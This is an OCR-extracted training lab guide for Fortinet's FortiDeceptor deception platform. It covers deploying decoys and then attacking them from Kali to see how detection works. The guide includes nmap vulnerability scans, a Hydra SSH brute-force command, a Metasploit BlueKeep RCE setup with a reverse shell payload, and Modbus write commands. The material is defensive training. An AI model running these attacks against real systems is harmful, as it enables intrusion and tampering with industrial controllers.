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Introduction

Introduction

FortiDeceptor allows organizations to rapidly create a fabricated deception network that lures attackers into revealing
themselves. FortiDeceptor serves as an early warning system by providing accurate detection that correlates an
attacker's activity details and lateral movement, indicating that a breach has happened. Threat intelligence gathered
from the attacker can be applied automatically to inline security controls to stop attacks before any real damage is done.

Participants who attend this workshop will learn how to:

» Deploy deception hosts to uncover attacker activity

« Use the anti-reconnaissance and anti-exploit engine to correlate events into incidents and campaigns, giving
SecOps the information they need to act upon

« Take action on discovered threat actor activity by integrating with the Fortinet Security Fabric to quarantine
compromised hosts before they can do further damage
The Training Agenda will cover the following items below:

1. FortiDeceptor initial configuration and deploying decoy VMs
Attack the network and detect lateral movement

Increasing the deception surface by deploying deception lures
Integration with the Security Fabric for mitigation automation

DN
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1. FortiDeceptor Training Environment

1. FortiDeceptor Training Environment

1.1 General

The FortiDeceptor training environment is a cloud platform hosted on FWS and can be accessed via FNDN.
The requirements for accessing the FortiDeceptor training platform are:

e Laptop/PC
 Internet connection
» FortiClient
* Web browser
« Putty client
This lab was designed to assist you with the deployment and testing of the FortiDeceptor platorm. However, if you have

never used FortiDeceptor before, we recommend experimenting with the plaform and Administration Guide on your own
before completing this lab.

You can find FortiDeceptor recommended product videos / OT Attack Simulation here:

FortiDeceptor V.3  FortiDeceptor Testing Guide Against https://video.fortinet.com/products/fortideceptor/3.0
OT-Windows-Linux Decoys

FortiDeceptor ¢ FortiDeceptor & FortiSOAR — https://video.fortinet.com/products/fortideceptor/3.3
V.3.3 protecting the OT network

» FortiDeceptor integration with
FortiNAC

¢ FortiDeceptor Ransomware
Detection

FortiDeceptor FortiDeceptor 4.0 What's New https://video.fortinet.com/products/fortideceptor/4.0
V.4.0

FortiDeceptor Attack Simulation ¢ https://fortinet.egnyte.com/dl/hcM8BzUzBD
Against OT Decoy ¢ Password: vz6JCw6k

1.2 FortiDeceptor Training Environment Topology

The FortiDeceptor training environment topology will have the following components:

« FortiDeceptor Virtual appliance: Deploy deception decoys and lures

« FortiGate: Provides network segmentation, network routing, internet, and VPN access to the training environment
« Kali box: Attacker tools framework

« Windows 10: Windows endpoint for deception lure deployment

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
Fortinet Technologies Inc.


https://docs.fortinet.com/document/fortideceptor/9.9.9/administration-guide/304013/introduction
https://video.fortinet.com/products/fortideceptor/3.0
https://video.fortinet.com/products/fortideceptor/3.3
https://video.fortinet.com/products/fortideceptor/4.0
https://fortinet.egnyte.com/dl/hcM8BzUzBD

1. FortiDeceptor Training Environment

k—/’;;nal Hacker Machine

INTERNET

192.168.0.2 Portl — Internet—192.168 .0.1/24

Port2 —-FDC -
192.168.1.0/24

FortiDeceptor ¥

192.168.2.100 |Port2

192.168.1.1

192.168.2.1| Port3 - Network — 192.168.2.0/24

SCADA - DECOY

Win/Linux- DECOYS

| Windows 10
| _ 192.168.2.200

Exploit &
Lure Testing

Exploit/Scan Kali
Against the Decoys

1.3 Accessing the FortiDeceptor training environment

To access the FortiDeceptor training environment, please follow the instructions below:

SSL-VPN Access

Open your browser and access the link that was emailed to you from the FNDN system and use the credentials below:

« Username: fortideceptor
o Password: Fortideceptor12#

A\,

One VPN account can support two different end-users to access this lab.

After successful authentication, you can view the portal that will allow you to access the FortiDeceptor lab components.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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1. FortiDeceptor Training Environment

Ay
b ] L4
? Please allow 10-20 seconds to access the portal.

The SSL-VPN portal supports SSO, so all the devices should be logged in automatically. If you are prompted to provide
your credentials, use your VPN credentials for access.

SSL-VPN Portal

Launch FortiClient Download FortiClient ~

Bookmarks

@ & & @

FDC_ACCESS KALI_VNC_ACCESS KALI_SSH_ACCESS WIN10_DESKTOP_ACCESS FGT_ACCESS FDC_ACCESS_S5H

@ Quick Connection = <4 New Bookmark

History

FortiClient

We highly recommend you access the lab over FortiClient. If you do not have FortiClient, you can download a free trial
here: https://www.fortinet.com/support/product-downloads#vpn

Install the client and add a new connection with the following parameters:

VPN SSL-VPN

Connection Name FDC

Remote Gateway Enter the IP address that was emailed to you from FNDN.
Customize Port 10443

Client Certificate None

Username fortideceptor

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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1. FortiDeceptor Training Environment

Edit VPN Connection

VPN |

Connection Name FDC
Description
Remote Gateway VPN IP Address from the FNDN Email x
+Add Remote Gateway
+
Customize port 10443 i

[] Enable Single Sign On (SSO) for VPN Tunnel
Client Certificate None v

Authentication O Promptonlogin ) Save login

Username fortideceptor

o)

If you see an SSL certification popup, please approve it and use the following credentials to log in:
« Username: fortideceptor
« Password: FortiDeceptor12#

The VPN user account can support two VPN end-users at the same time. You can access the VPN from your laptop/pc
directly to the FortiDeceptor.

Lab IP's:
Platform IP Address User credentials
FortiDeceptor IP (HTTP/SSH) Acccess: ¢ Username :fortideceptor
https://192.168.1.100 » Password: FortiDeceptor12#
2 users » Username1: fortideceptor1
» Password1: FortiDeceptor123#
Windows10 IP (RDP) 192.168.2.200 ¢ Username: fortideceptor
e Password: FortiDeceptor12#
Kali IP (SSH/VNC) 192.168.2.201 » Username: fortideceptor
You can use this user for multiple ~ * Password: FortiDeceptor12#
sessions.
\‘ ! ’I
q Before starting the FortiDeceptor LAB, please access the FortiDeceptor over SSH or the WEB
- Ul and run the command data-purge -a torevert the FortiDeceptor to a clean state.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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2. The FortiDeceptor Platform

2. The FortiDeceptor Platform

2.1 FortiDeceptor Components

FortiDeceptor management console manages and operates the whole platform, including deployment, configuration,
alerting, analysis, and ECO system integration.

FortiDeceptor offers a highly-scalable 3-tier architecture that combines three levels of deception:

« Server/ Endpoint Lures
o Medium Interaction Decoys (loT/OT)
« High Interaction Decoys

Deception Lures can be deployed using existing infrastructure tools like A/D GPO, MS SCCM, etc.

A single FortiDeceptor Appliance can run 20 Deception VM's that support 480 IP addresses in total. Each IP address
represents a single Decoy.

The Deception VM can be downloaded from the FortiDeceptor marketplace and allows the end-user admin to bring their
own Gold Image and convert it to a Decoy using the FortiDeceptor Decoy Customization wizard.

2.2 FortiDeceptor Lures

The purpose of the FortiDeceptor Lure Package is to add breadcrumbs on real endpoints/servers and redirect an
attacker to engage with a Decoy instead of a real asset. A Deception Lure is typically distributed to real endpoints and
servers on the network to expand the deception surface.

The current FortiDeceptor Token Packages are:

Platform Token Packages

Windows e SMB
 RDP
e SSH
e Cached Credentials
e Fake network connections
e HoneyDocs

Linux « SMB (SAMBA)
¢ RDP (xfreerdp)
e SSH

MAC e SMB (SAMBA)
* RDP (xfreerdp)
e SSH

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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2. The FortiDeceptor Platform

When the FortiDeceptor Token Package is installed on a real Windows, Linux, or MAC endpoint, it increases the
deception surface and redirects an attacker to engage with a Decoy instead of a real asset.

Effective Deception Lure technology should support these key points:

» Deploy Deception Lure data and configurations where attackers collect information.
» Deception Lure location must be Invisible to end-users (without affecting endpoint functionality).

« Deception Lure is accessible with user-level permissions. The attacker can access these lures early in the
compromise activity and get detected, and potentially reduce the privileged escalation attack time.

2.3 FortiDeceptor Decoys

FortiDeceptor creates a network of Decoys to lure attackers and monitor their activities on the network. When attackers
attack a Decoy, first, they generates an alert; second, their malicious activities are captured and analyzed in real-time to
generate a mitigation and remediation response and protect the network.

The Current FortiDeceptor Decoys are:

Windows

Linux

loT/OT

VPN

Platform Decoys

loT Decoys

Windows 7

Windows 10 (can be deployed as a gold image)
Windows 2016 (deployed as a gold image)
Windows 2019 (deployed as a gold image)

Ubuntu Desktop
CentOS

SCADA Decoy:
e 17 OT protocols
¢ 11 OT protocols
Medical Decoy:
¢ PACS
e DICOM
¢ Infusion Pump

Fortinet SSL-VPN (FGT60E, FGT100F, FGT1500D, FGT2000E,
FGT3700D)

ERP
POS
GIT

SAP

Cisco router
HP printer

IP Camera
Brother printer
Lexmark printer

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor 11
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2. The FortiDeceptor Platform

¢ TPlink Router Modem

The Current FortiDeceptor monitor services are:

« Windows: RDP, SMB, HTTP/S, DB(SQL)
e Linux: SSH, SAMBA, HTTP/S

e loT/OT: HTTP, FTP, TFTP, SNMP, MODBUS, S7TCOMM, BACNET, IPMI, TRICONEX, GUARDIAN-AST, IEC104,
ENIP, DNP3

o SSL VPN: HTTPS

 Platform: HTTP/S, GIT,

» Medical: PACS, Telnet, FTP, DICOM

o loT: SNMP, Telnet, HTTP/S, Jet-Direct, UPNP, CDP, RTSP

The current FortiDeceptor IP address capacity:

» A Single FortiDeceptor appliance (HW/VM) can host up to 20 Deception VM.
« A Single Deception VM supports up to 24 IP addresses, meaning 24 Decoys (each IP represents a Decoy).
» A Single FortiDeceptor appliance (HW/VM) can support up to 480 IP addresses.

» With 4 Decoys per segment on average, a single FortiDeceptor appliance (HW/VM) can support up to 128
segments (VLANS).

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
Fortinet Technologies Inc.
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3. FortiDeceptor Initial Configuration & Decoy Deployment

3. FortiDeceptor Initial Configuration & Decoy Deployment

3.1 FortiDeceptor Management Console: Administrator Tasks

INTERNET ) External Hacker Machine

192.168.0.2 Portl — Internet—192.168 .0.1/24

Port2 -FDC -
192.168.1.0/24

192.168.1.1

FortiDeceptor &
192.168.2.1] Port3 - Network — 192.168.2.0/24

192.168.2.100 |Port2

: | ! Windows 10
| 192.168.2.200
) Exploit &
Lure Testing

Win/Linux- DECOYS

-

Exploit/Scan

B Against the Decoys
SCADA - DECOY

Excercise: FortiDeceptor management console and configuration

In this exercise, we will familiarize ourselves with the FortiDeceptor management console and apply the initial
configuration.

FortiDeceptor Administrator tasks:

1. Access the FortiDeceptor web management console via SSL-VPN (bookmark or https://192.168.1.100 if you are
accessing the environment through a FortiClient).

2. Verify the FortiDeceptor has a valid license under the dashboard widget called System Information.
We have already added the license in the lab environment.

On a brand new deployment, you are required to register the license with FortiCloud and upload the license using
the widget below.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
Fortinet Technologies Inc.
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3. FortiDeceptor Initial Configuration & Decoy Deployment

System Information

3. Navigate to the Deception OS menu and initialize the Decoys, win7, win10, Linux, and SCADAS3.
We have already initialized the decoys in the lab environment. On a brand new appliance, you need to click

Host Name

Serial Number
System Time
Firmware Version
Firmware License
System Configuration
Current User

Uptime

Deception OS

FDN Download Server
Web Filtering Server

Antivirus DB Contract

Antivirus Engine Contract

ID5 Engine/DB Contract
Web Filtering Contract
ARAE Engine Contract

Custom VM Contract

FGT SSLVPN Decoy Contract

FDC-VMO000000000 [Change]
FDCWVMTM20000067

Thu Feb 25 10:30:38 2021 UTC [Change]
v3.2.1,build0103 (GA)[Update]

® [Upload License]

Last Backup: N/A [Backup/Restore]
admin

1 day(s) 17 hour(s) 58 minute(s)

od

[

& 2021-07-10
@ 2021-07-10
© 2021-07-10
& 2021-07-10
@ 2021-07-10
© No Contract
@ 2021-07-16, 1 available

Download next to each Decoy.

4. Navigate to the Deployment Network menu to Add a deployment network where the Decoy VM will be deployed.
A Deployment Network is a network segment where the Decoy will be deployed. It can be configured as either a

VLAN or a subnet. The deployment network must be configured before the Decoy VM can be deployed.

5. Now we are going to create the deployment network for the Decoy deployment (192.168.2.0/24).
Click on +Add New Vlan/Subnet.
Configure the following settings:

a.
b.

Name

Interface

Deploy Monitor IP/Mask

Default GW

Monitored Network

Auto Vian Detection

Detection Interface

+ AddNew Vlan/Subnet [iJ

Action

deployment1
port2
192.168.2.100/24

192.168.2.1
[demuvnm ] [ ez ) 0

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor

Fortinet Technologies Inc.

Deploy Monitor IP/Mask

192.168.2.100/24

Teg

14



3. FortiDeceptor Initial Configuration & Decoy Deployment

3.2 FortiDeceptor Management Console: Decoy Deployment

o f —"
INTERNET \\ External Hacker Machine

192.168.0.2 Portl — Internet—192.168 .0.1/24

Port2 -FDC -
192.168.1.0/24

192.168.1.1

FortiDeceptor

192.168.2.1| Port3 - Network — 192.168.2.0/24

192.168.2.100 |Port2

| 1 Windows 10
192.168.2.200

Exploit &
Lure Testing

Win/Linux- DECOYS

-

Exploit/Scan

Against the Decoys
SCADA - DECOY

We are now going to deploy the Decoy VM in the deployment network we just configured. To save time, we have already
downloaded the Decoy and set up the firewall policy.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor 15
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3. FortiDeceptor Initial Configuration & Decoy Deployment

To deploy the Decoy VM in the deployment network :

1. From the FortiDeceptor web console, go to Deception > Deployment Wizard.
2. Under Please select a template to start with:, click the add (+) icon .

£.% FortiDeceptor VM

t are you looking for? Q,  Deployment Wizard

@ Dashboard @ Template o E @ Configuration E © SetNetwork @ }
| lj Deception ~
. Please select a template to start with:
Customization
Deception 05
Deployment Network
Deployment Wizard +
Decoy & Lure Status
Deployment Map

Safe List : _ b

Lure Resources

ﬂ Incident ~
£2% Fabric ~
@ Network ~
£+ System ~
B Log A

3. Configure the following settings:

Name Linux-Decoy
Available Deception OSes ubuntu16v1
Selected Services Keep asis

Automate Lures Click Generate Lures to generate the lures automatically.
Manual configuration settings:
e SSH Lure: Click +Add Lure.
¢ SAMBA Lure: Click +Add Lure.

Tcplistener (0) (Optional) Add custom TCP port to the Decoy.

If no port is noted, then disable the TCPListener.
Launch Immediately Enable
Reset Decoy Disabled

In production, this feature allows you to reset the Decoy after attacker
engagement based on specified time.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor 16
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3. FortiDeceptor Initial Configuration & Decoy Deployment

Deployment Wizard
& Template # ) @ Configuration 98 ) E) Set Network @

Name Linux_Decoy ]

Available Deception OSes ubuntulévl X

Selected Services 55H, SAMBA, TCPLISTENER (]

| Automate Lures 2ny v Generate Lures

2| ssH(s) [ ®)] + Add Lure
Username

ronald

miguel

charles

bryce

grant

BB sameas) o) + AddLure

Username Password

jose login
john michael

kristen 123456789
shelly qwertyuiop

andrew master

: TCPLISTENER (0} o

Listening Ports Please enter comma separated port values.

Launch Immediately O

Clear

Password
666666
1234567690
bailey
888888
donald

Sharename
jose10-12-2020
john02-29-2020
kristen04-09-2019
shelly07-25-2019
andrew02-16-2019

4. Click Nextto advance to the Set Network section in the decoy deployment wizard, and configure the Decoy

networking settings:

DNS Enter the DNS IP for the Decoy
Hostname Keep as is. The hostname was configured in the previous section.
Deployment Wizard

DMNS 8888 ]

Hostname Linux_Decoy (]

Addressing Partition Vlan D

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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3. FortiDeceptor Initial Configuration & Decoy Deployment

5. Click + Deploy Into Network to add the Decoy IP address, and configure the following settings:

Deploy Network

Addressing Mode

Network Mask
Gateway

IP Count

Min
Max

IP Ranges

Choose the deployment network interface

Choose if the Decoy will get Static IP or DHCP.
In this environment we use STATIC configuration only.

Keep as 255.255.255.0
Enter the deployment network default gateway (192.168.2.1)

Number of IP addresses to assign to Decoys.
Configure as 1 for this exercise.

Keep asis
Keep as is

Enter the IP address that FortiDeceptor can configure the Decoy IP
addresses. This can be a single IP as outlined below or an IP range.
¢ For a single IP configuration, configure as follows: 192.168.2.10

¢ Forasingle IP range, configure as follows: 192.168.2.10-192.168.2.20

Decoy Interface Configuration examples:
Configuration for 11 Decoy IP Addresses (range)

Add Interface for Decoy x

Deploy Interface port2: subnet 192.168.2.100/24 [
Addressing Mode m DHCP
Metwork Mask 2552552550 4
Gateway 192.165.2.1 ©
IP Count 1 o
Min 16216821
hax 192 168.2.255
IP Ranges (11) 172 16582 10-192 1682 20

L]

N

Configuration for single Decoy IP Address

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
Fortinet Technologies Inc.
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3. FortiDeceptor Initial Configuration & Decoy Deployment

Add Metwark for Decoy

Deploy Metwark Local port2: subnet 192.168.2.1000.24 L
Addressing Mode m CHCP
Metwork Mask 2552553550 ]
Gateway 15215821 ]
MAC Address DU ]

o

# ,

IP Caunit 1 o

0 F
in 17216821
ban 1921682255
IP Ranges (1) 192168.2.10 o

k

6. Click Done to close the popup window.
7. Click Deploy to deploy the Decoy.

8. From the FortiDeceptor web console, go to Deception > Decoy & Lure Status. You should see the Decoy you
configured with the status of initializing.

& Refresh

[m} Action Status Decoy Name ¢ Initialize Time Start Time. o8 ™ Services Network Type P DNS Gateway
[ emmaxd @ Running Desktop1o 20210224 10550:48 2021.02-24 11:09:29 - WinTXBSVL .- rY Static 192168211 8888 19216821
0 e&a B Initializing Linux Decoy & ubuntulévi (=]} Static 152168212 8888 19216821

9. Refresh the screen and wait for the status to change to Running. If the status changes to Fail, check your
configuration and redeploy the Decoy.

It can take around 5 minutes for the status to change to Running . Once the status changes to Running, the Action

field is populated with additional icons.

O chmELdd @ Running Linux_Decoy 2021-02-25 12:05:11 2021-02-25 12:06:05 & ubuntulévl -] Static 192.168.2.12 B8aE 192.168.2.1

Use the Actions menu to:

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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3. FortiDeceptor Initial Configuration & Decoy Deployment

« View the Decoy VM Configuration

« Copy the configuration to a template
» Stop the Decoy VM

o Delete the Decoy VM

» Download the Token Package: This adds breadcrumbs on real endpoints and lure an attacker to a Decoy VM
(we will have a use case on using the Token Package)

« Attack Test: To make sure the Decoy is accessible
« VNC: Tointeract with the VM
10. Repeat these steps to deploy additional decoys (for testing purposes use a single IP per decoy):
« Win10
« SCADA3 S7-200 PLC

» |oT Decoys (Cisco Router 2600 model, IP Camera, HP Printer)
For the Cisco router we will need to use a real Cisco IOS for the decoy simulation. Please download a Cisco
IOS sample from the link below:

« https://fortinet.egnyte.com/dl/wn22uc1Ko4
* Password: QaRgm35R
» Download cisco ios.zip
A maximum of 5 decoys can be active on this appliance.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
Fortinet Technologies Inc.
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4. Attack the network and Detect Lateral Movement

4. Attack the network and Detect Lateral Movement

]

(=
INTERNET ) External Hacker Machine

192.168.0.2 Portl — Internet— 192.168 .0.1/24

Port2 —-FDC -
192.168.1.0/24

192.168.1.1

FortiDeceptor L
192.168.2.1] Port3 - Network — 192.168.2.0/24

192.168.2.100 |Port2

| {  Windows 10
192.168.2.200

Exploit &
Lure Testing

Win/Linux- DECOYS

|‘ 192.168.2.201

-

Exploit/Scan
Against the Decoys

L

SCADA - DECOY

4.1 Network Reconnaissance Attacks (before the lateral movement)

We are now going to switch roles and become the attacker. We are going to do some active reconnaissance and scan
for open ports to find any interesting services. We are then going to try to use these services to infiltrate the network.

Find Running Services

We are going to use Nmap, a network scanner, to discover services running on the network IP range 192.168.2.0/24.

Nmap is an open-source utility used to discover hosts and services on a computer network by sending packets and

analyzing the responses. Nmap provides several features for probing computer networks, including host discovery and

service and operating system detection.

FortiDeceptor 4.1 Threat Prevention and Detection with FortiDeceptor
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4. Attack the network and Detect Lateral Movement

To find running services:

1. Access KALI using your putty client to address 792.168.2.201 or through the SSL-VPN portal.
2. Login with your username and password.

3. Runthe NMAP command:
nmap -F -sV Decoy IP or nmap -F -sV 192.168.2.0/24

The -F option specifies to scan for the top 100 common ports, and -sV is used to probe any opens ports to
determine their services/version information. The version information can be useful to look up and see if there are
any known vulnerabilities for the service.

- d 192.168.2
Starting Nmap 7.91 ( https:
Nmap scan report for 192.: 2.
Host is up (@.0@058s latency).
Not shown: 97 filtered ports
STATE SERVICE VERSION
open ssh FortiSSH (protocol 2.0)
closed ident
open sslL/https?
Info: CPE: cpe:/o:fortinet:fortios

Nmap scan report for 192.168.2.11
Host is up (0.088s latency).
Not shown: 90 closed ports
STATE SERVICE VERSION
open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssr
open microsoft-ds Microsoft Windows 7 - 1@ microsoft-ds (workgrou

ms-wbt-server Microsoft Terminal
msrpc Microsoft
mSTrpc Microsoft Windows
open mMsrpc Microsoft Windows
open mWsrpc Microsoft Windows
open msrpc Microsoft Windows
5 open msrpc Microsoft Windows
Service Info: Host: DESKTOP1@; 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.2.12
Host is up (0.0044s laten
Not shown: 97 closed ports
STATE SERVICE VERSION
open ssh OpenSSH 7.2 )
open netbios-ssn Samba smbd L (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X o XA cgroup: WORKGROUP)

The NMAP command scans the entire network for open ports service mapping. This may take up to five minutes

Here you will see port 22 (SSH) is open. SSH, or Secure Shell, is used by administrators to remotely access hosts
normally running Linux/Unix systems. We can see that it is using OpenSSH version 7.2p2.

Viewing events

FortiDeceptor creates a network of Decoy VMs to lure attackers and monitor their activities. Once attackers attack Decoy
VMs, their actions are analyzed to protect the network.

We are now going to switch back to being the FortiDeceptor administrator.
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1. Return FortiDeceptor web console.

2. Goto Incident > Analysis and change Interaction Events Only to All to view all events.
You should see an incident with the Attacker IP, 192.168.2.201, Victim IP (192.168.2.x), and Victim Port(s).
FortiDeceptor has the concept of Events, Incidents, and Campaigns. An Event can be an opening or closing a port,
for example. Incidents are made up of connected Events. Campaigns are then made up of connected Incidents.
Here we can see the four events caused by the NMAP scan, which make up the Incident. The port is opened, a
connection is established, a command is executed, and the portis closed.

Severity Last Activity 4 Type Attacker IP Attacker User Victim IP Victim Port

ssses Feb25202112:31:43 Interaction 192.168.2.201 NiA 192.168.212 22

& Timeline BB Table

Feb 252021 12:31:28

o L3 Attacker User. N/A

F Attacker IP, 192168.2.201

& attacker Port: 47448

@ right after (Feb 25 2021 12:31:28)

Open Port: From 1921682201:47448  To 192168.2.12:22

L Download Traffic PCAP
MD5  fa09bfbcSbe15f3302362206efe90078
FileSize ~ 321KB
FileType  peap
AVScanResult  Clean

@ rightafter (Feb 252021 12:31:28)

Established S5H 192.1682201
connection:

@ rightafter (Feb25 2021 12:3128)

° Execute commandvia  Did not receive identification string from 192.168.2.201
S5H.

@ 15seconds later (Feb 25 2021 12:31:43)

Close Part: From 1921662201:47448  To 192.168.2.12:22

An attacker that will detect SSH port will find the User and Password by running brute force attack or running an
exploit against the service for getting a remote shell.

The attacker will use Hydra, which is a brute force password cracking tool. Hydra can use both username and
password lists to determine the correct login credentials needed to access a service.

From the Kali terminal window, run the following command:

hydra -V -f -1 “username” -P /usr/share/metasploit-framework/data/wordlists/default
pass_for services unhash.txt 192.168.2.x ssh -t 1

FortiDeceptor will detect this attack, and all the attack alerts will be under the incident analysis section.

Probing the network using a single exploit check

Another network reconnaissance method is to probe the network using a single exploit check. To simulate this kind of
attack, we will use the NMAP tool with the script option.

nmap --script smb-vuln-ms08-067.nse -p445 192.168.2.1-254

This script will check if there is a Windows asset on the network vulnerable to the known vulnerability as MS08-067 (the
Conficker malware).

If you get the error requires root privileges, use the command sudo before the nmap command and use the same
password for the username fortideceptor.
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& T 111 Feb 252021 16:02:01 Reconnaissance 192.168.2.201 Buest

i= Timeline BB Table £ Refresh

Feb 252021 16:01:45
o E Attacker User: guest
F Attacker IP: 192.168.2.201

& Attacker Port: 42445

@ right after (Feb 25 2021 16:01:45) %

Open Port: From 192.1482.201:42445 To 192.1653.2.20:445
x Download Traffic PCAP
MD3 34347ectcbage71127560955c6f2db27
File Size 5.0KB

File Type pcap
AV Scan Result Clean

@ right after (Feb 25 2021 16:01:45)

o IPS attack: I tools&#58; Nmap.Script.Scanner I

@ right after (Feb 25 2021 16:01:45)

o IPS attack: tools&#58; Nmap.Script.Scanner

Probing the network for outdated OS

An additional network reconnaissance method is to probe the network for outdated OS using the NMAP tool as well as a
newer exploit against them.
The following command will discover all the OS on the network:

nmap -0 192.168.2.1-254

If you get the error requires root privileges, use the command sudo before the nmap command and use the same
password for the username fortideceptor.

For this example, let's assume the attacker will detect Win7 with RDP service open on the network. What is our next
step?

Running a new exploit that affected most of the Windows versions to get a remote shell.

We will use Metasploit to run remote code execution against RDP vulnerability.

e root@kali-VM:$ msfconsole

e use windows/rdp/cve 2019 0708 bluekeep rce
e set RHOSTS “Win7 Decoy IP Address”

e set RDP_CIlIENT IP “Kali_ IP Address”

e set target 1

e set Payload generic/shell reverse tcp
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2 anEee Feb 252021 17:06:22 Connection 192.168.2.201 M

i= Timeline B Table & Refresh

Feb 25 2021 17:06:18

o E Attacker User: N/A

T Attacker IP: 1921682201

@ Attacker Port: 45567

@ rightafter (Feb 25 2021 17:06:18)

Open Port: From 192.168.2.201:45667 To 192.168.2.11:3389

s

o IPS attack: remote_zccess&E58; MSWindows RDP.Channel M5_T120.Remote.Code Execution

(@ 4seconds later (Feb 25 2021 17:06:22)

4.2 Network Attacks: SCADA Decoy

FortiDeceptor allows you to deploy OT assets using the SCADA3 Decoy.
We will use KALI to test the SCADA Decoy.

Enumeration Testing using NMAP:

e nmap -sU -p 161 --script snmp-sysdescr <Decoy IP>
e nmap -Pn -sT -pl02 --script s7-enumerate.nse <Decoy IP> (discover using the S7 protocol)

e nmap --script enip-info -sT -p 44818 <host> (discover ENIP protocol)
If you get the error requires root privileges, use the command sudo before the nmap command and use the same

password for the username fortideceptor.

MODBUS Protocol Testing:

kali@kali:~$ modbus read <Decoy IP> $M100 20 (read MODBUS parameter)

Severity Last Activity s Lure Tine Adtacker IP Attackor Uier Victim |P

002 220111756 MODBUS Interaction 1010110042 £y 101001003

B mmsa 0 0ansy

kali@kali:~$ modbus write <Decoy IP> %$M100 1
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= Timeline &8 Table & Refresh

Jun 022020 11:17:55

G Attacker User: N/A
& Attacker IP: 10.101.100.12
@ Attacker Port: 38578

@ right after (Jun 02 2020 11:17:55)

Modbus Connection: New Modbus connection

@ 1second later (Jun 02 2020 11:17:56)

Modbus Traffic: write multiple coils, slave id 1

@ 1second later (Jun 02 2020 11:17:56)

Modbus client disconnected: Modbus client disconnected

Modbus values can easily be changed when Access is open. For example:

e Modbus read <IP> $M100 5
e Modbus write <IP> $M100 0 0 0 O O
¢ Modbus read <IP> $M100 5

SCADA Exploit testing:

root@kali-VM:$ msfconsole
e use auxiliary/client/iecl04/iecl104

e set RHOSTS <Decoy IP>
e exploit

Severity Last Acthvizy & Lure Trme Astacker 1P Attacker User ictim 19

= :-.. Jun 02 2020 124237 STCOMM Connection H001100.12 A 1010110013

@ suno220201212:34

o CE Astacker User. L

T Attacker IP: 10.101.100.12

® Astacker Port 7648

© right ahter [Jun 02 2020 12:42:34)

Racolved 57 requast: 57 packt: magh-50 pdu, type: | reservad-0 roq id-5 12 param lerl data_lend revult it

O right after Lun 03 2030 12:13:34)

Rucelved 57 request 57 packet: magh=50 pdu_tvpe: 1 reserved:0 req_d:$ 12 param_berl data_len:0 result_inf:0

© right after Uun 02 2020 12:12:34)

Received 57 request 57 packet: magh=50 pou_tvpe: 1 reserved:0 req_id-1536 param_len:16 data_bred rest_nd:

@ right alter [Jun 02 2020 12:12:34)

Received 57 request 57 packet: maght-50 pou_type: 1 reserved:0 req 1534 param_len:18 data_kered result_ind:0

@ 3 seconds later [hun 02 2020 12:12:37)

Mew §7 Connection Pew 57 eormeetion

root@kali-VM:$ msfconsole
e use auxiliary/client/iecl04/iecl04

e set RHOSTS <Decoy IP>

e exploit
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Severity Last Activity + Lure Type Attacker IP Attacker User Victim P Victim Port

Jun 022020 15:22:49 IEC104 Cannection 10.101.100.12 N/A 10.101.100.13 2404

= Timeline M Table < Refresh

[E.E] Jun 02 2020 15:22:49

(3 Attacker User: N/A

T Attacker IP: 10.101.100.12
@ Attacker Port: 43357

@ rightafter {Jun 022020 15:22:49)

|EC 60870-5-104: N/A

@ rightafter (Jun 022020 15:22:49)

IEC 60870-5-104: type: 100, sequence: false, abjects: 1, test: false, negative: false, cot: 6,0a: 0, station addr: 1, data: 14

4.3 Network Attacks: loT Decoy

FortiDeceptor allows you to deploy loT assets using the IoT Decoys such as Cisco router, HP printer and IP camera.

For the Cisco router we will need to use a real Cisco 10S for the decoy simulation. Please download a Cisco |OS sample
from the link below:

« https://fortinet.egnyte.com/dl/wn22uc1Ko4
» Password: QaRgqm35R
» Download cisco ios.zip

You can access the Cisco decoy using the Telnet/Web interface and try to read/write configuration.

We will use KALI to test the IoT Decoys.

Enumeration Testing using NMAP:

Nmap -sS -P0 —-T5 -vv <Decoy IP>
nmap -sU -p 161 --script snmp-sysdescr <Decoy IP>

If you get the error requires root privileges, use the command sudo before the nmap command and use the same
password for the username fortideceptor.

Enumeration the Printer decoy:

1. Access the Desktop directory (fortideceptor user). Verify that you are under the FortiDeceptor Home directory (the
ssh login assigned to it by default).
cd PRET
/pret.py <Decoy IP> pjl

2. Getthe CLlinside the Printer decoy.
You can also access the decoy via your web browser directly from your desktop or through the Win10 desktop.

Enumeration the IP Camera decoy:

You can access the decoy via your web browser directly from your desktop or through the Win10 desktop.
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4.4 Decoy Engagement: Post exploitation

Assuming the attacker accessed a remote shell on the Decoy, let's see how the Decoy captures, records and analyzes
the attacker's activities on the Decoy.

There are two options for accessing the decoys:

« If you access the testing environment over SSL-VPN, please access the decoys from KALI or Windows10 over
RDP.

« If you access the testing environment directly using FortiClient, please access the decoys directly from your
desktop.

SSH:

1. Open the putty client and connect the Linux Decoy over SSH protocol.

2. Run several commands such as:
1s
ping 8.8.8.8
wget www.google.com
mkdir test
nano test.txt (fill the file with content) and save the file
3. Access the Incident Analysis section and open the alert to see if the all of the attacker activities were recorded and
analyzed.

@ 18seconds Iate[keh 252021 17:32:51)

Execute commandvia |s
55H:

(@ 22secondslater (Feb 25 2021 17:32:55)

Execute commandvia ping8.5.8.8
55H:

(D 30secondslater (Feb 25 2021 17:33:03)

Execute command via wgetwww. google.com
55H:

@ 38seconds later (Feb 25 2021 17:33:11)

Execute commandvia  mikdir test
55H:

@ 40seconds later (Feb 25 2021 17:33:13)

Execute commandvia cdtest
55H:

(@ 43secondslater (Feb 25 2021 17:33:16)
